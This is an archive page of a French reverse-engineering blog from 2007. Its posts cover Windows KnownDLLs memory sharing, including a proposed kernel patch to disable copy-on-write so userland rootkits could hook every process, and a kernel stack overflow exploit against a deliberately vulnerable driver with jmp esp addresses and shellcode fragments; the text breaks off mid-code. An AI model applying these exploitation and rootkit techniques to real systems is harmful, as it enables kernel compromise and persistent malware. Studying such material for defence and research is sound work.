Archive for mars, 2007

PAGE_EXECUTE_WRITECOPY

Il pleut, une journée triste si bien décrite par Baudelaire : « Quand la pluie étalant ses immenses traînées ; D’une vaste prison imite les barreaux ». Cette prison dont on essaye de s’échapper dès qu’on se retrouve submergé dans les transports par la viande désincarnée des autres errant sur cette planète. C’est durant ce moment ou mon esprit se déconnecte de la réalité, oubliant les 150 Kg de viande bovine m’écrasant le pied, qu’une idée apparaît, une simple idée qui pourtant m’empêche de remarquer le 90C aux yeux verts à ma gauche. La chose est née, j’augmente le volume de mon mp3, le son d’un bon groupe de métal aidant à la concentration. L’idée semble si intéressante, si puissante que j’ai du mal à la contrôler, mon esprit s’emballe dans des raisonnements incongrus, les substances me servant de nourriture n’aidant pas vraiment à la pensée logique je décide de me calmer et de remettre ça à plus tard. De retour chez moi je commence à me documenter sur le sujet, lire, comprendre, apprendre, foutu leitmotiv. Après avoir longtemps réfléchit, je décide de partager ma pensée, attention seules les personnes ayant des lunettes anti-cyberDDOS pourront lire cet article.


Tout d’abord veuillez excuser l’auteur pour l’intro dramaco-littéraire, celui-ci sera privé de ses chocapics pendant 1 semaine.

Windows n’étant pas un OS trop débile il fait parfois des efforts pour économiser de la mémoire. Ainsi le système au lieu d’avoir 57 kernel32.dll chargées en mémoire préfère en allouer une seule dans la mémoire physique (votre RAM) et de la partager parmi tout les process. Ces DLL partagées portent le nom de KnownDLLs, on peut les trouver dans le registre sous la clé HKLM\\System\\CurrentControlSet\\Control\\Session Manager\\KnownDLLs, ce sont en fait les DLL les plus utilisées par les processus en général, par exemple : kernel32.dll, user32.dll, advapi32.dll, shell32.dll … etc

Le mécanisme utilisé par l’OS pour crée se partage est le file mapping, procédé qui permet d’associer l’espace mémoire virtuel d’un process à un fichier sur le disque. Cela permet de manipuler plus efficacement les données car celles-ci sont directement accessible dans la mémoire virtuelle du processus, plus besoin de WriteFile et de ReadFile W00t. En fait ces objets sont appelés des sections, les API CreateFileMapping et MapViewOfFile, de la librairie kernel32, qui permettent de crée des fichiers mappés utilisent les API natives NtCreateSection et NtMapViewOfSection du noyau.

Ainsi lors du démarrage, l’OS va mappé ses fichiers en mémoire et dès qu’un process sera lancé, il ira vérifier si les dll dont il a besoin sont déjà chargées, si elles le sont alors il les mappe dans sa mémoire.

En regardant le chapitre 5 du Windows Internals on apprend que c’est le processus smss.exe qui se charge de créer ses sections au démarrage. Hop hop regardons cela avec IDA :

smss.exe SmpInitializeKnownDllsInternal
loc_48585C45:
push    [ebp+hDll] ; DllHandle obtenu avec NtOpenFile
lea     eax, [ebp+Length]
push    1000000h ; Attributes, SEC_IMAGE 0x01000000
push    10h ; Protect, PAGE_EXECUTE 0x10
push    0 ; SectionSize
push    eax ; ObjectAttributes
push    0F001Fh ; DesiredAccess, SECTION_ALL_ACCESS: 0xf001f
lea     eax, [ebp+var_14]
push    eax ;SectionHandle
call    ds:__imp__NtCreateSection@28 ; NtCreateSection(x,x,x,x,x,x,x)

Ces objets sont ensuite placés dans la sous-directory \\KnownDlls de l’ObpRootDirectoryObject. Pour cela dans la structure OBJECT_ATTRIBUTES :

typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;a
PUNICODE_STRING ObjectName;a
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;

Le champ RootDirectory est initialisé avec un handle renvoyé par NtCreateDirectoryObject qui à crée la directory \\KnownDlls au début de la fonction SmpInitializeKnownDllsInternal:

mov     ebx, [ebp+hDirObject]
[...]
mov     ecx, _SmpLiberalSecurityDescriptor
and     [ebp+SecurityQualityOfService], 0
test    ecx, ecx
mov     [ebp+Length], 18h ;sizeof(OBJECT_ATTRIBUTES)
mov     [ebp+RootDirectory], ebx ;hDirObject
mov     [ebp+Attributes], 50h ; Attributes OBJ_CASE_INSENSITIVE (0x00000040L) + OBJ_PERMANENT (0x00000010L)
mov     [ebp+ObjectName], esi ; Nom de la dll dans le registre
mov     [ebp+SecurityDescriptor], ecx ; SmpLiberalSecurityDescriptor

Ce qui au final nous donne l’arborescence suivante :

lkd> !object e14af158
Object: e14af158  Type: (843ed340) Directory
ObjectHeader: e14af140
HandleCount: 32  PointerCount: 69
Directory Object: e1000c08  Name: KnownDlls

Hash Address  Type          Name
---- -------  ----          ----
00  e1491df8 Section       gdi32.dll
e13fe4d8 Section       imagehlp.dll
e14e4780 Section       url.dll
01  e14f34e8 Section       appHelp.dll
02  e14f3908 Section       Normaliz.dll
e14f2af8 Section       MPR.dll
03  e14b8ee8 Section       ole32.dll
e14ece90 Section       urlmon.dll
04  e14bbfd8 Section       lz32.dll
e14e1bd8 Section       olesvr32.dll
06  e14e0ad8 Section       shell32.dll
e14efc28 Section       wldap32.dll
09  e14ec648 Section       version.dll
e14e21e8 Section       user32.dll
10  e14bede0 Section       olecli32.dll
14  e14f8f20 Section       MSASN1.dll
16  e14bd160 SymbolicLink  KnownDllPath
e14f0b68 Section       COMCTL32.dll
17  e14f43b8 Section       CRYPT32.dll
18  e14b34e0 Section       oleaut32.dll
e14af758 Section       advapi32.dll
19  e14f1320 Section       iertutil.dll
e14f0bf8 Section       SHLWAPI.dll
e14f3b40 Section       wow32.dll
e14c0fd8 Section       olecnv32.dll
20  e14f5738 Section       CRYPTUI.dll
21  e14f3480 Section       USERENV.dll
23  e14a3b38 Section       comdlg32.dll
26  e14eb780 Section       wininet.dll
27  e14f7830 Section       WINTRUST.dll
e14cdad8 Section       olethk32.dll
28  e14f1c10 Section       msvcrt.dll
31  e14e2d30 Section       rpcrt4.dll
e14f13b0 Section       SHDOCVW.dll
32  e14b1780 Section       kernel32.dll
36  e14f6580 Section       NETAPI32.dll

Toutes ces DLL sont donc dans votre RAM et attendent gentiment qu’on vienne les chercher. Maintenant que nos sections sont crées, on va pouvoir les utiliser. On s’intéresse donc au fonctionnement du Loader, qui, lors de la création d’un process fait appel à fonction LdrpInitializeProcess de ntdll [1]. Cette fonction utilise LdrpMapDll pour mappé les DLL en mémoire. LdrpMapDll vérifie avec LdrpCheckForKnownDll si les DLL demandées sont déjà mappées par le système. Si oui alors il y a appel à NtOpenSection :

NTSYSAPI
NTSTATUS
NTAPI
NtOpenSection(
OUT PHANDLE             SectionHandle,
IN ACCESS_MASK          DesiredAccess,
IN POBJECT_ATTRIBUTES   ObjectAttributes);

ntdll LdrpCheckForKnownDll
mov     eax, _LdrpKnownDllObjectDirectory ; Handle sur l'ObjectDirectory KnwownDlls
and     [ebp+SecurityDescriptor], 0
and     [ebp+SecurityQualityOfService], 0
mov     [ebp+RootDirectory], eax
lea     eax, [ebp+usDLL] ;UNICODE_STRING sur le nom de la DLL
mov     [ebp+ObjectName], eax
lea     eax, [ebp+Length]
push    eax
push    0Eh
lea     eax, [ebp+hSection]
push    eax
mov     [ebp+Length], 18h
mov     [ebp+Attributes], 40h ;OBJ_CASE_INSENSITIVE 0x00000040
call    _NtOpenSection@12 ; NtOpenSection(x,x,x)

A noter que la variable globale LdrpKnownDllObjectDirectory est initialisée au début du LdrpInitializeProcess :

NTSYSAPI
NTSTATUS
NTAPI
NtOpenDirectoryObject(
OUT PHANDLE             DirectoryObjectHandle,
IN ACCESS_MASK          DesiredAccess,
IN POBJECT_ATTRIBUTES   ObjectAttributes);

push    offset aKnowndlls ; "KnownDlls"
lea     eax, [ebp+var_D4]
push    eax
call    _RtlInitUnicodeString@8 ; RtlInitUnicodeString(x,x)
push    18h
pop     edi
lea     eax, [ebp+var_D4]
mov     [ebp+var_F0], eax
lea     eax, [ebp+var_F8]
push    eax
push    3
push    offset _LdrpKnownDllObjectDirectory
mov     [ebp+var_F8], edi
mov     [ebp+var_F4], esi
mov     [ebp+var_EC], 40h
mov     [ebp+var_E8], esi
mov     [ebp+var_E4], esi
call    _ZwOpenDirectoryObject@12 ; ZwOpenDirectoryObject(x,x,x)

On a le handle sur notre section, il ne reste plus qu’a la mappé dans l’espace mémoire du processus avec NtMapViewOfSection

NTSYSAPI
NTSTATUS
NTAPI
NtMapViewOfSection(
IN HANDLE               SectionHandle,
IN HANDLE               ProcessHandle,
IN OUT PVOID            *BaseAddress OPTIONAL,
IN ULONG                ZeroBits OPTIONAL,
IN ULONG                CommitSize,
IN OUT PLARGE_INTEGER   SectionOffset OPTIONAL,
IN OUT PULONG           ViewSize,
IN SECTION_INHERIT      InheritDisposition,
IN ULONG                AllocationType OPTIONAL,
IN ULONG                Protect );

ntdll LdrpMapDll
loc_7C92C3AE:
mov     [ebp+var_1C], ebx
mov     [ebp+var_28], ebx
mov     eax, [ebp+var_5C]
mov     esi, [eax+14h]
mov     ecx, [ebp+var_38]
mov     [eax+14h], ecx
push    4
push    ebx
push    1
lea     eax, [ebp+var_28]
push    eax
push    ebx
push    ebx
push    ebx
lea     eax, [ebp+var_1C]
push    eax             ; pMapping
push    0FFFFFFFFh      ; -1
push    [ebp+hSection]
call    _ZwMapViewOfSection@40 ; ZwMapViewOfSection(x,x,x,x,x,x,x,x,x,x)

Tout cela le Memory Manager le gère avec les VAD (Virtual Address Descriptor), structures noyau organisé sous la forme d’un arbre binaire de recherche, elles servent à décrire l’organisation de l’espace mémoire d’un process. Un VAD est représenté par la structure suivante :

typedef struct _MMVAD {
union {
LONG_PTR Balance : 2;
struct _MMVAD *Parent;
} u1;
struct _MMVAD *LeftChild;
struct _MMVAD *RightChild;
ULONG_PTR StartingVpn;
ULONG_PTR EndingVpn;

union {
ULONG_PTR Longanes;
MMVAD_FLAGS VadFlags;
} u;
PCONTROL_AREA ControlArea;
PMMPTE FirstPrototypePte;
PMMPTE LastContiguousPte;
union {
ULONG LongFlags2;
MMVAD_FLAGS2 VadFlags2;
} u2;
} MMVAD, *PMMVAD;

La racine de l’arbre (VadRoot) se trouve à l’offset 0x11c de la structure EPROCESS.

On peut les voir avec Olly en cliquant sur M (Memory Map) ou bien sous windbg avec la commande !vadump

0:001> !vadump
[...]
BaseAddress:       77da0000 (ImageBase de advapi32.dll)
RegionSize:        00001000
State:             00001000  MEM_COMMIT
Protect:           00000002  PAGE_READONLY
Type:              01000000  MEM_IMAGE
[...]

Maintenant regardons la protection de la zone mémoire :

0:001> !vprot 77da0000
BaseAddress:       77da0000
AllocationBase:    77da0000
AllocationProtect: 00000080  PAGE_EXECUTE_WRITECOPY
RegionSize:        00001000
State:             00001000  MEM_COMMIT
Protect:           00000002  PAGE_READONLY
Type:              01000000  MEM_IMAGE

2 valeurs m’intéressent :
Protect
Access protection of the pages in the region. This member is one of the values listed for the AllocationProtect member.

AllocationProtect
Memory protection when the region was initially allocated.

En se référant à la SDK on peut lire :
PAGE_EXECUTE_WRITECOPY : 0×80
Enables execute, read, and write access to the committed region of image file code pages. The pages are shared read-on-write and copy-on-write.

Cela veut dire que la mémoire est accessible en lecture, écriture, exécution MAIS si on tente d’écrire dedans, le système nous alloue notre propre copie de la DLL dans la RAM. C’est pour cela que lorsqu’on utilise un inline hook en userland il faut le faire pour chaque process car le système remarquant qu’il y a eu modification alloue une zone mémoire pour la DLL modifiée. [2]

Alors maintenant PENSONS… Si on désactivait cette protection, il n’y aurait qu’une seule version de la DLL en mémoire et donc une modification dans n’importe quel process affecterait le système entièrement !
Imaginez la puissance des rootkits userland qui n’aurait plus besoin de s’injecter dans chaque process pour placer leurs hooks d’API !

Revenons un peu en arrière, lors de la création des différentes sections par le process smss.exe, le paramètre Attributes de la fonction NtCreateSection valait : SEC_IMAGE 0×01000000.
Hum cela doit avoir une influence sur la création des VAD lors de l’appel à NtMapViewOfSection (admirez l’instinct du reverser :p)

C’est partit pour une descente aux enfers.

L’API native NtMapViewOfSection fait appel à l’API du Memory Manager MmMapViewOfSection :

ntoskrnl NtMapViewOfSection
push    [ebp+Protect]
push    [ebp+AllocationType]
push    [ebp+InheritDisposition]
lea     eax, [ebp+var_20]
push    eax
lea     eax, [ebp+var_4C]
push    eax
push    [ebp+CommitSize]
push    [ebp+ZeroBits]
lea     eax, [ebp+var_1C]
push    eax
mov     edi, [ebp+Object]
push    edi
push    ebx
call    _MmMapViewOfSection@40 ; MmMapViewOfSection(x,x,x,x,x,x,x,x,x,x)

Ensuite on voyage dans le noyau pour arriver à la fonction MiMapViewOfImageSection. Sachant que les flags des VAD sont définis de la façon suivante :

typedef struct _MMVAD_FLAGS {
ULONG_PTR CommitCharge : COMMIT_SIZE; // limits system to 4k pages or bigger! #define COMMIT_SIZE 19 (32 bits system)
ULONG_PTR NoChange : 1;
ULONG_PTR VadType : 3;
ULONG_PTR MemCommit: 1;
ULONG_PTR Protection : 5;
ULONG_PTR Spare : 2;
ULONG_PTR PrivateMemory : 1;    // used to tell VAD from VAD_SHORT
} MMVAD_FLAGS;

Et en me basant sur les sources de ReactOS de la fonction MiMapViewOfImageSection suivante:

#define MM_ZERO_ACCESS         0  // this value is not used.
#define MM_READONLY            1
#define MM_EXECUTE             2
#define MM_EXECUTE_READ        3
#define MM_READWRITE           4  // bit 2 is set if this is writable.
#define MM_WRITECOPY           5
#define MM_EXECUTE_READWRITE   6
#define MM_EXECUTE_WRITECOPY   7

typedef enum _MI_VAD_TYPE {
VadNone,
VadDevicePhysicalMemory,
VadImageMap,
VadAwe,
VadWriteWatch,
VadLargePages,
VadRotatePhysical,
VadLargePageSection
} MI_VAD_TYPE, *PMI_VAD_TYPE;

//
// Allocate and initialize a VAD for the specified address range.
//

Vad = ExAllocatePoolWithTag (NonPagedPool, sizeof(MMVAD), MMVADKEY);

if (Vad == NULL) {
if (TryLargePages == TRUE) {
MiReleasePhysicalCharges (
BYTES_TO_PAGES ((PCHAR)LargeEndingAddress + 1 - (PCHAR)LargeStartingAddress),
Process);

LOCK_WS_UNSAFE (Thread, Process);
MiFreeLargePages (LargeStartingAddress, LargeEndingAddress, FALSE);
UNLOCK_WS_UNSAFE (Thread, Process);
}
MiDereferenceControlArea (ControlArea);
return STATUS_INSUFFICIENT_RESOURCES;
}

RtlZeroMemory (Vad, sizeof(MMVAD));
Vad->StartingVpn = MI_VA_TO_VPN (LargeStartingAddress);
Vad->EndingVpn = MI_VA_TO_VPN (LargeEndingAddress);
Vad->u2.VadFlags2.Inherit = (InheritDisposition == ViewShare);
Vad->u.VadFlags.VadType = VadImageMap;

//
// Set the protection in the VAD as EXECUTE_WRITE_COPY.
//

Vad->u.VadFlags.Protection = MM_EXECUTE_WRITECOPY; // !!!!!!!!!!!!!!
Vad->ControlArea = ControlArea;

On peut voir le passage ou sont initialisés les différents paramètres du VAD. Regardons ce que ça donne sous IDA :

mov     eax, [esi+14h] ;esi pointe sur le Vad, Vad->u.VadFlags.Protection
lkd> dt nt!_MMVAD
+0x000 StartingVpn      : Uint4B
+0x004 EndingVpn        : Uint4B
+0x008 Parent           : Ptr32 _MMVAD
+0x00c LeftChild        : Ptr32 _MMVAD
+0x010 RightChild       : Ptr32 _MMVAD
+0x014 u                : __unnamed
+0x018 ControlArea      : Ptr32 _CONTROL_AREA
+0x01c FirstPrototypePte : Ptr32 _MMPTE
+0x020 LastContiguousPte : Ptr32 _MMPTE
+0x024 u2               : __unnamed

Le    +0x014 u : __unnamed
Correspond à l'union :
union {
ULONG_PTR LongFlags;
MMVAD_FLAGS VadFlags;
} u;

and     eax, 0E7FFFFFFh ; 11100111111111111111111111111111b
or      eax, 7100000h ;        111000100000000000000000000b ; en même tps on met le VadType à 2, 21 ème bit à 1 (VadImageMap)
mov     [esi+14h], = MM_EXECUTE_WRITECOPY

Qui correspond au code :

Vad->u.VadFlags.Protection = MM_EXECUTE_WRITECOPY;
Vad->ControlArea = ControlArea;

Pour désactiver cette protection il suffirait donc de patcher ce code de la façon suivante :

mov     eax, [esi+14h] ;esi pointe sur le Vad, Vad->u.VadFlags.Protection
and     eax, 0E7FFFFFFh ; 11100111111111111111111111111111b
or      eax, 6100000h ;        110000100000000000000000000b
mov     [esi+14h], = MM_EXECUTE_READWRITE

Cela nécessite de patcher le kernel, de préférence en hard avant le lancement du système mais tout est possible, un programme modifiant l’image du noyau sur le disque pourrait réaliser cette opération avant le lancement de l’OS.

Je n’ai pas vraiment le courage de tester cette méthode, pas pour l’instant. Un rootkit userland pourrait maîtriser entièrement le système, même les fonctions des DLL des process système sans avoir besoin de s’injecter partout. Bref un vrai petit monstre.

Evidemment patcher le noyau reste une opération lourde, réalisable uniquement avant le lancement de l’OS, ce qui nécessite de pouvoir modifier la séquence de BOOT afin d’effectuer notre malveillante modification. L’idée je pense semble intéressante et pourrait faire du chemin…

Reférences :
What Goes On Inside Windows 2000: Solving the Mysteries of the Loader [1]
LdrpMapDll
http://msdn.microsoft.com/msdnmag/issues/02/03/Loader/

Memory Protection [2]
http://msdn2.microsoft.com/en-us/library/aa366785.aspx

Remarque :
Le passage des constantes MM_XXX à PAGE_XXX se fait avec la macro MI_CONVERT_FROM_PTE_PROTECTION définit par :

extern ULONG MmProtectToValue[32];
#define MI_CONVERT_FROM_PTE_PROTECTION(PROTECTION_MASK)(MmProtectToValue[PROTECTION_MASK])

Elle va chercher dans un tableau de ULONG la valeur correspondant aux flags du VAD. Par exemple si on a le champ protection du VAD qui vaut 7 (MM_EXECUTE_WRITECOPY) alors on regarde dans le tableau MmProtectToValue au 7 ème indice pour trouver 0×80 (PAGE_EXECUTE_WRITECOPY) :

lkd> dd nt!MmProtectToValue
805569f0  00000001 00000002 00000010 00000020
80556a00  00000004 00000008 00000040 00000080 <- w00t

6 comments mars 25th, 2007

WTF

2h du matin, annihilation mentale, après 4h de recherches infructeuses mon cerveau a laché. Incapable de comprendre, mêmes mes contacts IRC/IRL ont séché, désespoir il ne reste plus que toi. Ayant envie de partager ma douleur je vais vous conter ma tragédie. Samedi soir, une soirée calme, tout avait pourtant bien commencé, je décidais de connecter ma VM sur le kernel debugger, juste pour jouer maintenant que j’ai un new laptop avec de la vrai puissance. D’un coup, sans prévenir, me vient l’idée de suivre le déroulement du shellcode de mon dernier post « Kernel BOF » en live . Hop hop hop, je lance le driver dans la VM et là c’est l’halucination cognitive, ca ne marche pas ! Partant de cette simple constatation je décide de tracer le code. Après avoir passé 3h devant des lignes asm et des dump hexa j’arrive à la conclusion effrayante que le shellcode disparaît de la mémoire !! Pour vous en convaincre aller voir le lien suivant :
http://ivanlef0u.fr/repo/WTF.txt

J’ai remplacé le shellcode par une simple série de ‘A’, le saved EBP et le saved EIP sont bien overwrité par la fonction strcpy. Le souci est qu’au moment de faire le ret 4 de la fonction Mofo, le Buff qui est en 0xfbdf5ba0 est désintégrer ! WHAOU c’était pas prévu ça !
J’ai bien essayé de mettre des breakpoints en accès sur la zone mémoire mais rien n’y fait. La seule possibibitée que j’envisage est que dans mon nouveau processeur, AMD Turion Dual Core TL52, une protection hardware consiste à modifier la stack dépilée. J’avoue ca fait de la peur, après avoir googler je suis tomber sur cette page :
http://www.amd.com/us-en/Weblets/0,,7832_11104_11105,00.html

Après plus de recherche je suis tombé sur ces 2 papers :

http://www.virusbtn.com/pdf/conference_slides/2005/Costin_Raiu.pdf

http://www.amd.com/us-en/assets/content_type/DownloadableAssets/dwamd_AMD64_WinHEC04_pubfinal.pdf

Apparament le NX-bit (NX pour No Execute) permet d’empêcher l’exécution de code dans des zones mémoire non autorisées par le processeur. Ok c’est cool mais ca n’explique pas pourquoi mon Buff avec des 0×41 a disparu, alors si quelqu’un le sait qu’il me fasse signe.

Merci d’avance :)

4 comments mars 18th, 2007

Kernel BOF

Il y a des matins on se lève, enfumé comme un renard, et pendant que l’on mange son bol de chocapics une réflexion apparaît, des pensées métaphysiques défilent dans notre tête, on se demande : « Pourquoi le monde ? Pourquoi les chocapics ? ». C’est pendant cette phase de cogitation intense que m’est venue l’idée de jouer avec des buffer overflows dans mon kernel, allez savoir, il y peut-être dans les chocapics une composante hallucinogène d’un champignon inconnu. Quoiqu’il en soit mon esprit torturé réfléchissait pendant les cours théoriques de confectionnent de crêpes au nutella (chose plus difficile qu’il n’y paraisse) aux différents problèmes que je pouvais rencontrer dans l’exploration d’une chose aussi magnifique que dangereuse. Après mass overclockage neuronal, défoncé au nutella, j’écris ce post, est-ce moi qui l’écrit vraiment ? Ou bien une entité diabolique a-t-elle possédé mon corps, à vous de juger.


Sachez dès le départ que l’exploitation d’un buffer overflow en KernelLand reste un simple détournement du flux d’exécution en contrôlant le pointeur d’instruction du programme. La vraie différence c’est qu’après avoir traversé le stargate il nous faut retrouver nos repères, c’est à dire avoir un payload adapté à l’environnement du noyau. Je vais diviser mon post en 2 parties, la première concernera la manière d’exploiter le débordement de tampon (triviale ici) et la seconde plus intéressante je pense, sur la conception du payload.

——–[bind s « +back;
Voici le code du driver unsafe qui va nous servir de cobaye pour l’expérience :

//IRQL = PASSIVE_LEVEL
ULONG Mofo(PUCHAR Str)
{
UCHAR Buff[96];
DbgPrint("&Buff : 0x%xn", &Buff);
//strcpy from ntoskrnl exports
strcpy(Buff, Str);

return 0;
}

//IRQL = PASSIVE_LEVEL
NTSTATUS DriverUnload(IN PDRIVER_OBJECT DriverObject)
{
DbgPrint("Bye dude");
return STATUS_SUCCESS;
}

//IRQL = PASSIVE_LEVEL
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegistryPath)
{
char Over[128];

pDriverObject->DriverUnload=DriverUnload;
DbgPrint("Hello Master");

memset(Over, 'a', sizeof(Over)-1);

Mofo(Over);

return STATUS_SUCCESS;
}

Le strcpy() de la fonction Mofo() copie sans vérifier la longueur de Str son contenu dans le tambon Buff. Si on donne une string de plus de 96 bytes le strcpy va overwriter le savedEBP et le savedEIP dans la pile, rien de plus classique. Normalement le compilo du DDK ajoute une sécurité, un cookie dans la pile entre le buffer et le savedEBP, le code vérifie après si le cookie à été altéré et nous envoie un beau BSOD dans la face avec le code 0xF7, qui correspond à :

from bugcodes.h
//
// MessageId: DRIVER_OVERRAN_STACK_BUFFER
//
// MessageText:
//
//  A driver has overrun a stack-based buffer.  This overrun could potentially allow a malicious
//  user to gain control of this machine.
//
#define DRIVER_OVERRAN_STACK_BUFFER      ((ULONG)0x000000F7L)

Pour pas m’embêter avec ce cookie, j’ai désactiver cette sécurité en mettant les variables BUFFER_OVERFLOW_CHECKS et NEW_CRTS du setenv.bat à 0, vous trouverez ce fichier dans le dossier \Bin de votre WINDDK.

Maintenant qu’on a le champ libre on peut enfin s’amuser. Comme nous sommes dans le kernel nous ne pouvons être sur de l’adresse de notre tampon Buff dans stack, c’est pourquoi nous ne pouvons modifier le savedEIP avec une valeur hardcodé sur le début de notre shellcode. J’ai choisi d’utiliser l’environnement afin d’obtenir ce qu’il me fallait pour réussir l’attaque. Juste avant l’instruction ‘ret’ la stack ressemble à cela :
[Buff 96 bytes]
[savedEBP]
[savedEIP] <- pointeur ESP
[argument Str]

Sachant que le ret est équivalent à un POP EIP et que donc l’ESP est incrémenté de 4, si nous remplaçons le savedEIP par l’adresse d’un jmp esp, notre flux d’exécution sera redirigé dans la stack sur les arguments pushés auparavant. Il suffit donc d’overwriter ces arguments et de mettre à la place un backjump vers notre shellcode qui est plus haut. Pour schématiser cela donne :
[NOP]
[SHELLCODE]
[addr d'un jmp esp]
[backjump dans les NOPs] <- lors du ret, esp pointe içi

Il me faut donc l’adresse d’un jmp esp dans le noyau, disponible de préférence dans le module principal ntoskrnl parce celui-ci est loadé à une adresse constante. Pour cela j’ai utilisé l’outil findjump2 de Hat-Squad qui load dans sa mémoire le module que l’on veut analyser et le scan pour retrouver les opcodes.

C:\RE>findjump.exe ntoskrnl.exe esp

Findjmp, Eeye, I2S-LaB
Findjmp2, Hat-Squad
Scanning ntoskrnl.exe for code useable with the esp register
0x5345EB        call esp
0x53BD7F        jmp esp
0x53C2BB        call esp
0x53EE63        call esp
0x543FE3        call esp
0x544457        jmp esp
0x54A5F7        call esp
0x54C37E        call esp
0x561F93        call esp
0x562023        call esp
0x562133        call esp
0x56214B        call esp
0x56260B        call esp
0x5633AB        call esp
0x56F1B1        jmp esp
0x5E8278        call esp
0x67A46B        push esp - ret
0x6973AD        jmp esp
0x6DCAC2        jmp esp
Finished Scanning ntoskrnl.exe for code useable with the esp register
Found 19 usable addresses

W00T on a la chance. Pour être plus précis ce jmp esp se situe dans la fonction ExTraceAllTables, mais ça on s’en fou, il est là et c’est le principal :]

lkd> u 0x804D7000+34457
nt!ExTraceAllTables+0x222:
8050b457 ffe4            jmp     esp

Clairement il eut été plus simple de mettre le shellcode au même endroit que le backjump et de sauter dessus avec un jmp et quand j’y pense les NOP ils ne servent à rien en fait :) foutu chocapics hallucinogènes…

——–[ KaBoom Machine !

Le shellcode se décompose en 2 parties, en premier on doit obtenir l’ImageBase de ntoskrnl.exe en mémoire et scanner l’export table afin d’y retrouver les fonctions dont notre shellcode aura besoin, ensuite lancer notre attaque pour conquérir le monde !

Vous vous dîtes sûrement qu’il serait plus simple d’hardcodé les adresses des fonctions dans le shellcode, certes cela est possible mais le problème c’est que votre shellcode sera dépendant de la plate-forme sur laquelle il sera exécuté, le noyau et ses fonctions n’étant pas loadés aux même endroits selon les différentes versions de Windows ; Petit tableau pour vous en convaincre :}
Version ImageBase du noyau
Windows 2000 SP4 0×80400000
Windows XP SP0 0x804d0000
Windows XP SP2 0x804d7000
Windows 2003 SP1 0×80800000

Notre shellcode devra donc être « générique » c’est à dire capable de se retrouver dans n’importe quel environnement.

Dans le volume 3 de uninformed Bugcheck et Skape présentaient différentes méthodes pour retrouver l’ImageBase de ntoskrnl, le gros défauts c’est quelles fonctionnent en scannant la mémoire utilisant ainsi 17 octects de shellcode au minimum pour retrouver l’adresse de base de ntoskrnl, perso je trouve que ça sux un peu des gnu. Il existe une méthode beaucoup plus rapide et plus simple pour faire cela. Dans le KernelLand, au début du segment fs se trouve une structure appelée KPCR (Kernel Processor Control Region), dans cette structure on trouve (un petit chat lol?) un pointeur nommé KdVersionBlock :

lkd> dt nt!_KPCR
+0x000 NtTib            : _NT_TIB
+0x01c SelfPcr          : Ptr32 _KPCR
+0x020 Prcb             : Ptr32 _KPRCB
+0x024 Irql             : UChar
+0x028 IRR              : Uint4B
+0x02c IrrActive        : Uint4B
+0x030 IDR              : Uint4B
+0x034 KdVersionBlock   : Ptr32 Void
[...]

Les symboles fournis par MS ne donnent quel est le type du pointeur, en fait il s’agit d’un pointeur sur une structure _DBGKD_GET_VERSION64 ; ne venez pas me demander ou j’ai trouvé ça sinon je devrais vous tuer :p

lkd> dt nt!_DBGKD_GET_VERSION64
+0x000 MajorVersion     : Uint2B
+0x002 MinorVersion     : Uint2B
+0x004 ProtocolVersion  : Uint2B
+0x006 Flags            : Uint2B
+0x008 MachineType      : Uint2B
+0x00a MaxPacketType    : UChar
+0x00b MaxStateChange   : UChar
+0x00c MaxManipulate    : UChar
+0x00d Simulation       : UChar
+0x00e Unused           : [1] Uint2B
+0x010 KernBase         : Uint8B
+0x018 PsLoadedModuleList : Uint8B
+0x020 DebuggerDataList : Uint8B

Et dans cette structure (admirez l’effet de suspense poupée russe) on à le champ KernBase qui contient l’ImageBase de notre kernel, ce qui nous permet d’aboutir ou bout de shellcode suivant :

6A34     push 0x34
5B        pop ebx //ebx=34
648B1B    mov ebx, dword ptr fs:[ebx] //KPCR + 0x034 -> KdVersionBlock  (ptr to an _DBGKD_GET_VERSION64 structure)
8B6B10    mov ebp, dword ptr [ebx+0x10] //KdVersionBlock + 0x10 -> KernBase;

Hé ouais 9 bytes, on fait mieux que les gars de uninformed, nanananère ! :]
L’équivalent en userland consiste à retrouver l’ImageBase de kernel32 réaliser à l’aide du shellcode suivant :

push 0x30
pop ebx
mov eax, fs:[ebx]    //Sur le PEB, fs pointe sur TEB
mov ebx, [eax+0x0C]    //PEB->LoaderData
mov eax, dword ptr [ebx+0x1C] //LoaderData->InitializationOrderModule.Flink
mov ebx, dword ptr [eax]    //Next Flink
mov ebp, dword ptr [ebx+0x8]    //ImageBase Kernel32

Maintenant qu’on à notre ImageBase il suffit de retrouver dans le PE Header l’export table et de la scanner pour y récupérer notre matos. L’export table est conçu de cette façon :

typedef struct _IMAGE_EXPORT_DIRECTORY {
DWORD   Characteristics;
DWORD   TimeDateStamp;
WORD    MajorVersion;
WORD    MinorVersion;
DWORD   Name;
DWORD   Base;
DWORD   NumberOfFunctions;
DWORD   NumberOfNames;
DWORD   AddressOfFunctions;     // RVA from base of image
DWORD   AddressOfNames;         // RVA from base of image
DWORD   AddressOfNameOrdinals;  // RVA from base of image
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;

On va devoir émuler le fonctionnement de la fonction GetProcAddress, je m’explique :

Le champ AddressOfNames contient une RVA (Relative Virtual Address) sur un tableau de RVA pointant sur les noms de fonctions.

La fonction dont le nom se situe à l’indice i dans le tableau des noms à son adresse (sous la forme d’une RVA) dans le champ AddressOfFunctions à l’indice AddressOfNameOrdinals[i]. WTF !?. En fait cette technique permet d’avoir des fonctions « alias » : si par exemple on a 2 fonctions aux noms différents, mais faisant la même chose donc ayant un seul code, situées à l’indice i et j dans le tableau AddressOfNames, on aura dans le tableau AddressOfNameOrdinals aux indices i et j la même valeur k qui est l’indice dans le tableau AddressOfFunctions d’une RVA sur le code.

Reste encore un détail à régler, il nous faut un moment comparer 2 chaînes de caractères : celle de la fonction qu’on cherche et celle de la fonction scannée. Avoir dans un shellcode une ou de string(s) ça sux à fond ffs. D’où l’idée du groupe LSD (Last Stage Delirium), des grands défoncés aux champignons aussi, d’associer à chaque fonction un hash, après il suffit de comparer les hash entre eux, ce qui nous fait gagner pas mal de bytes. L’algorithme de hash est le suivant, très simple (mais efficace) afin d’utiliser le moins d’instructions possibles ; Un simple couple ror/sum.

#include 

#define ROR32(x,b) (((x) >> (b)) | ((x) << (32 - (b))))

int main (int argc, char * argv[])
{
